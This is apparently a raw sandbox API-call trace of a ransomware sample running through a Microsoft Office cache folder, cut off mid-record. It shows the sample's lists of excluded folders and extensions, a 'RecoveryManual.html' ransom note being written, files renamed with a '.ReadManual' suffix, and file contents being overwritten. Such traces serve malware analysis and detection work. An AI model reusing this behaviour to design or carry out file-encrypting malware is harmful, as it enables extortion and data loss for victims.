[0195.035] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0195.035] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0195.035] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\WINNT") returned 0x0 [0195.035] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0195.035] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\Windows.old\\") returned 0x0 [0195.035] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\PerfLog\\") returned 0x0 [0195.035] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\", lpSrch="\\WindowsApps\\") returned 0x0 [0195.035] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0195.036] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0195.036] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0195.036] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0195.036] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0195.036] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0195.036] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0195.036] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Windows Defender\\") returned 0x0 [0195.036] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\", lpSrch="\\microsoft shared\\") returned 0x0 [0195.036] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0195.036] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0195.036] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0195.036] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0195.036] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0195.036] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Tor Browser\\") returned 0x0 [0195.036] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0195.036] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\") returned 67 [0195.036] FindFirstFileW (in: lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6680e8 [0195.038] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\" [0195.038] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.038] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1 [0195.038] lstrcpyW (in: lpString1=0x69b922, lpString2="Access.en-us" | out: lpString1="Access.en-us") returned="Access.en-us" [0195.038] lstrcatW (in: lpString1="Access.en-us", lpString2="\\" | out: lpString1="Access.en-us\\") returned="Access.en-us\\" [0195.039] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\", lpSrch=":\\Windows\\") returned 0x0 [0195.039] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0195.039] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0195.039] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0195.039] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\", lpSrch=":\\WINNT") returned 0x0 [0195.039] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0195.039] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\", lpSrch=":\\Windows.old\\") returned 0x0 [0195.039] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\", lpSrch=":\\PerfLog\\") returned 0x0 [0195.039] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\", lpSrch="\\WindowsApps\\") returned 0x0 [0195.039] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0195.039] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0195.039] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0195.039] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0195.039] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0195.039] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0195.039] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0195.039] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\", lpSrch="\\Windows Defender\\") returned 0x0 [0195.039] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\", lpSrch="\\microsoft shared\\") returned 0x0 [0195.039] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0195.039] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0195.039] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0195.039] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0195.039] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0195.039] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\", lpSrch="\\Tor Browser\\") returned 0x0 [0195.039] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0195.039] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\") returned 80 [0195.039] FindFirstFileW (in: lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x668128 [0195.041] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\" [0195.042] FindNextFileW (in: hFindFile=0x668128, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.042] FindNextFileW (in: hFindFile=0x668128, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa623330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x266a00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AccessMUI.msi", cAlternateFileName="ACCESS~1.MSI")) returned 1 [0195.042] lstrcpyW (in: lpString1=0x6ab93c, lpString2="AccessMUI.msi" | out: lpString1="AccessMUI.msi") returned="AccessMUI.msi" [0195.042] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="RecoveryManual.html") returned -1 [0195.042] StrStrIW (lpFirst="AccessMUI.msi", lpSrch=".ReadManual.5A595725") returned 0x0 [0195.042] StrCmpIW (psz1="msi", psz2="exe") returned 1 [0195.042] StrCmpIW (psz1="msi", psz2="dll") returned 1 [0195.042] StrCmpIW (psz1="msi", psz2="sys") returned -1 [0195.042] StrCmpIW (psz1="msi", psz2="msi") returned 0 [0195.042] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\" [0195.042] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\RecoveryManual.html") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\RecoveryManual.html" [0195.042] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\RecoveryManual.html" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0195.043] WriteFile (in: hFile=0x194, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fdf0, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fdf0*=0xae9, lpOverlapped=0x0) returned 1 [0195.044] CloseHandle (hObject=0x194) returned 1 [0195.045] FindNextFileW (in: hFindFile=0x668128, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AccessMUI.xml", cAlternateFileName="ACCESS~1.XML")) returned 1 [0195.045] lstrcpyW (in: lpString1=0x6ab93c, lpString2="AccessMUI.xml" | out: lpString1="AccessMUI.xml") returned="AccessMUI.xml" [0195.045] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="RecoveryManual.html") returned -1 [0195.045] StrStrIW (lpFirst="AccessMUI.xml", lpSrch=".ReadManual.5A595725") returned 0x0 [0195.045] StrCmpIW (psz1="xml", psz2="exe") returned 1 [0195.045] StrCmpIW (psz1="xml", psz2="dll") returned 1 [0195.045] StrCmpIW (psz1="xml", psz2="sys") returned 1 [0195.045] StrCmpIW (psz1="xml", psz2="msi") returned 1 [0195.045] StrCmpIW (psz1="xml", psz2="mui") returned 1 [0195.045] StrCmpIW (psz1="xml", psz2="inf") returned 1 [0195.045] StrCmpIW (psz1="xml", psz2="cat") returned 1 [0195.045] StrCmpIW (psz1="xml", psz2="bat") returned 1 [0195.045] StrCmpIW (psz1="xml", psz2="cmd") returned 1 [0195.045] StrCmpIW (psz1="xml", psz2="ps1") returned 1 [0195.045] StrCmpIW (psz1="xml", psz2="vbs") returned 1 [0195.045] StrCmpIW (psz1="xml", psz2="ttf") returned 1 [0195.045] StrCmpIW (psz1="xml", psz2="fon") returned 1 [0195.045] StrCmpIW (psz1="xml", psz2="lnk") returned 1 [0195.045] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" [0195.045] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.ReadManual.5A595725" [0195.045] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.ReadManual.5A595725") returned 113 [0195.045] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=31571392984) returned 1 [0195.045] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml")) returned 0x2020 [0195.046] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0195.046] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1349) returned 1 [0195.046] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x545, lpName=0x0) returned 0x198 [0195.046] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xf2) returned 1 [0195.047] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.047] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0195.048] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0195.048] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x545) returned 0x2f0000 [0195.048] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0195.048] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=31571726440) returned 1 [0195.049] CloseHandle (hObject=0x198) returned 1 [0195.049] SetSecurityInfo () returned 0x57 [0195.049] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0195.049] CloseHandle (hObject=0x194) returned 1 [0195.049] FindNextFileW (in: hFindFile=0x668128, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3216e900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3216e900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa64a430, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1ab7e94, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AccLR.cab", cAlternateFileName="")) returned 1 [0195.049] lstrcpyW (in: lpString1=0x6ab93c, lpString2="AccLR.cab" | out: lpString1="AccLR.cab") returned="AccLR.cab" [0195.049] lstrcmpiW (lpString1="AccLR.cab", lpString2="RecoveryManual.html") returned -1 [0195.049] StrStrIW (lpFirst="AccLR.cab", lpSrch=".ReadManual.5A595725") returned 0x0 [0195.050] StrCmpIW (psz1="cab", psz2="exe") returned -1 [0195.050] StrCmpIW (psz1="cab", psz2="dll") returned -1 [0195.050] StrCmpIW (psz1="cab", psz2="sys") returned -1 [0195.050] StrCmpIW (psz1="cab", psz2="msi") returned -1 [0195.050] StrCmpIW (psz1="cab", psz2="mui") returned -1 [0195.050] StrCmpIW (psz1="cab", psz2="inf") returned -1 [0195.050] StrCmpIW (psz1="cab", psz2="cat") returned -1 [0195.050] StrCmpIW (psz1="cab", psz2="bat") returned 1 [0195.050] StrCmpIW (psz1="cab", psz2="cmd") returned -1 [0195.050] StrCmpIW (psz1="cab", psz2="ps1") returned -1 [0195.050] StrCmpIW (psz1="cab", psz2="vbs") returned -1 [0195.050] StrCmpIW (psz1="cab", psz2="ttf") returned -1 [0195.050] StrCmpIW (psz1="cab", psz2="fon") returned -1 [0195.050] StrCmpIW (psz1="cab", psz2="lnk") returned -1 [0195.050] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" [0195.050] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.ReadManual.5A595725" [0195.050] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.ReadManual.5A595725") returned 109 [0195.050] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=31571877035) returned 1 [0195.050] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab")) returned 0x2020 [0195.051] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0195.051] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=28016276) returned 1 [0195.051] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ab7e94, lpName=0x0) returned 0x198 [0195.051] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xea) returned 1 [0195.051] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.052] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0195.053] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0195.054] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1ab7e94) returned 0x4350000 [0196.530] UnmapViewOfFile (lpBaseAddress=0x4350000) returned 1 [0196.588] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=31725691182) returned 1 [0196.588] CloseHandle (hObject=0x198) returned 1 [0196.588] SetSecurityInfo () returned 0x57 [0196.588] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0196.588] CloseHandle (hObject=0x194) returned 1 [0196.589] FindNextFileW (in: hFindFile=0x668128, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0xa0000003, dwReserved1=0x0, 